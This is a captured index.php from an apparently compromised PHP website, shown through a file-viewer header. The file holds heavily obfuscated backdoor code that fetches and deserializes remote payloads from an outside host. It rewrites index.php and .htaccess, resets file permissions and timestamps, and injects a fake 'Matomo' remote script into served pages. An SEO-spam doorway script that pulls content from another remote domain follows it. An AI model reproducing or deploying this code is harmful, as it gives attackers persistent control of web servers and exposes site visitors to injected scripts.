Current Path : /home/scoots/www/mainth/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/mainth/index.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php @ini_set('display_errors', 0); @set_time_limit(3600); define("DOMTXT","/jdd/"); define("GETDOM","http://www.center-5.xyz/jpdd171218qi-1/"); define("FNUM",50); define("JGNUM","40"); define("LINKNUM","12"); define("BZSITE","q"); define("BZPRO","l"); //msbg define("JDT","1"); //msend //jthouzuibg define("JTHZ","/"); //jthouzuiend // #llqllq#arr_nametimebg $arrnametime[]="1"; $arrnametime[]="2"; $arrnametime[]="3"; $arrnametime[]="4"; // #llqllq#arr_nametimeend // #llqllq#arr_wordbg $arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3"; // #llqllq#arr_wordend // #llqllq#arr_keywz $arrKeywz[]="12"; $arrKeywz[]="10"; $arrKeywz[]="5"; $arrKeywz[]="11"; $arrKeywz[]="8"; $arrKeywz[]="6"; $arrKeywz[]="4"; $arrKeywz[]="9"; $arrKeywz[]="7"; // #llqllq#arr_keywzend // #llqllq#arr_fuhao $arrfh[]="。"; $arrfh[]="!"; $arrfh[]=";"; $arrfh[]=" "; $arrfh[]="……"; $arrfh[]=","; $arrfh[]="?"; $arrfh[]="、"; // #llqllq#arr_fuhaoend $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs(); // #llqllq#randkeybg $strRand[0]="ygujcblasztkeqhodpvrwnxifm"; $strRand[1]="ldkgwnreuvfmhaoqtzcbjyipsx"; $strRand[2]="iftznpwyaxedgjvchulsqokrbm"; $strRand[3]="xjbhmktlnupesdwfogqcaryvzi"; $strRand[4]="fmolejgxwcapyvbkrqznhsuidt"; $strRand[5]="kzgsxnqcfoiayhuedrtjblmwpv"; $strRand[6]="spzkqgijxdtleawrfuhbonvcym"; $strRand[7]="dfhjevulxsnapgycrmkobwzitq"; $strRand[8]="tichzwgqbruedsfyakjpomnvlx"; $strRand[9]="qgpbvsmwjxudihyfetczakolnr"; $strRand[10]="pclwenxgihyjtaumqkdrofzsvb"; $strRand[11]="uknibfjwpamedsorvyhlgxzcqt"; $strRand[12]="czkidnretlqfypsbxghamwuvjo"; $strRand[13]="qouwgsalemcfitjdzvhknbyxrp"; $strRand[14]="clytxzmswbifovqndjeaugkrhp"; $strRand[15]="tbwevlxskouyjgmnfzrhicapdq"; $strRand[16]="gsmvplnufkzeidtrxcbyqoajwh"; $strRand[17]="ugytsfrvokmxqadebjlnzpwchi"; $strRand[18]="napfegjyvmlxkizrhostdwbuqc"; $strRand[19]="ptwbqdrojncmhuegylxzkasvif"; 